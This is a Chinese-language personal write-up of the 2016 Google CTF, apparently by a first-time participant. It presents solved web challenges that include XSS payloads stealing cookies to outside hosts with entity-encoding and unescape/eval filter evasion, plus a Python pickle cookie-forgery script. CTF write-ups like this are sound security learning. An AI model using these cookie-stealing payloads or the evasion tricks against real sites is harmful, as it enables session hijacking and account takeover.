2016_google_ctf_writeup

0x00 我的第一场CTF

第一次参加CTF,google的CTF,和公司的同事一起参加的,最后2400多个队里排到了第34名,不过我自己只解出来五道题。

0x01 Wallowing Wallabies - Part One

从robots.txt里找到可以攻击的页面,第一个可以攻击的页面是deep-blue-sea/team/vendors,用一个简单的XSS就可以拿到cookie,使用该cookie登陆即可。Payload:

</pre><script src=""></script>
<img id="atk"><script>document.getElementById("atk").src="http://www.mydomain.com/xxx.php?val="+document.cookie</script><pre>

第一个看似多余的<script src="">是因为该题让我必须输入一个<script src="" >才行...然后在自己的服务器上就能看到发来的cookie了。

0x02 Wallowing Wallabies - Part Two

过完第一关,来到deep-blue-sea/team/vendors/msg页面,继续XSS攻击。这次稍微高级些,把src,onerror,onload都屏蔽了,并且还屏蔽了javascript:,<script>标签等,看似不可能完成,在多次尝试下发现,src单独出现并不会被屏蔽,onerror之后的等号和引号中间加入空格则也不会被屏蔽,剩下来的js部分用ascii码编码也不会被屏蔽,综上,Payload如下:

<img  src  onerror = "     &#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:&#x77;&#x69;&#x6E;&#x64;&#x6F;&#x77;&#x2E;&#x6C;&#x6F;&#x63;&#x61;&#x74;&#x69;&#x6F;&#x6E;='http://www.mydomain.com/xxx.php?val='+&#x64;&#x6F;&#x63;&#x75;&#x6D;&#x65;&#x6E;&#x74;&#x2E;&#x63;&#x6F;&#x6F;&#x6B;&#x69;&#x65;  ">

cookie获取成功。不过使用新cookie访问原来的页面会出现403 Forbidden,必须访问deep-blue-sea/team/characters页面才能看到flag,同时也是第三关的入口。

0x03 Wallowing Wallabies - Part Three

第三关仍然是XSS,这次屏蔽了点(.),这关其实感觉比第二关简单,把js用ascii编码,用unescape函数还原,再用eval函数运行即可。Payload:

<img id="atk">
<script>
cookie = eval(unescape(String(/%2a%2a%2f%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2f%2a%2a/)));
str = String(/%2a%2a%2fdocument%2EgetElementById('atk')%2Esrc%3D'http%3A%2F%2Fwww%2Enevermoe%2Ecom%2Fsend%2Ephp%3Fval%3D'+cookie%2f%2a%2a/);
str = unescape(str);
eval(str);
</script>

但是这关有个非常贱的地方,要等一两个小时,“管理员”浏览了你的留言后才会生效。我刚开始怎么都收不到cookie,还以为是方法想错了,结果两个小时候再去查数据库,竟然发现了cookie。

0x04 Spotted Quoll

把cookie用base64解码,得到形如如下的字符串:

(dp1
S'python'
p2
S'pickles'
p3
sS'subtle'
p4
S'hint'
p5
sS'user'
p6
Ns.

上网一查,是pickle格式,正好cookie的名字也叫obsoletePickle,于是用python的pickle把user的值设置为admin即可。data.pkl里存的是上述字符串。打开输出的admin.pkl,用base64加密后作为cookie即可登入。

import pickle


data = None
with open('data.pkl', "r") as fin:
    data = pickle.loads("\n".join([line.strip() for line in fin]))
    print data
    data['user']='admin'


print data
with open('admin.pkl', 'w') as fo:
    pickle.dump(data,fo)

0x05 In Recorded Conversation

用wireshark打开,是irc通信,点击follow TCP stream即可看到flag。

0x06 其他

没解出来的题,有些不甘心,都在下面的链接里别人的writeup给出了解答。

A Cute Stegosaurus:Google CTF 2016 - A Cute Stegosaurus (100),答案并不在图片里,在TCP的内容里...

Woodman:kalloc/google_ctf_crypto1.py,需要简单的理解随机数生成方法再去解。

Dancing Dingoes:SSRF?读取别的URL的内容里的用户名,可以把URL换成自己的服务器,然后在自己的服务器上返回admin用户即可。

Purple Wombats:在网页源码里有github链接,需要从github上下载源码,在本地启动,生成cookie,再使用该cookie登陆网站。该源码使用了google的webapp2,事先知道会很有利。

Flag Storage Service:使用了GQL,一般的SQLi无法成功,要深入理解该网站的原理和GQL原理才能成功。

Weedy Sea Dragon:通过该题我知道了,原来谷歌账号可以不用gmail注册,可以用任何邮件注册的...

Horton Hears a Who:cookie是以分号来进行分割并判断的,注册一个形如admin:1:1462103278:null的用户即可。

以上几题可以在TYPCN Google CTF 2016 WriteupGoogle CTF – Web Write-Ups看到解法。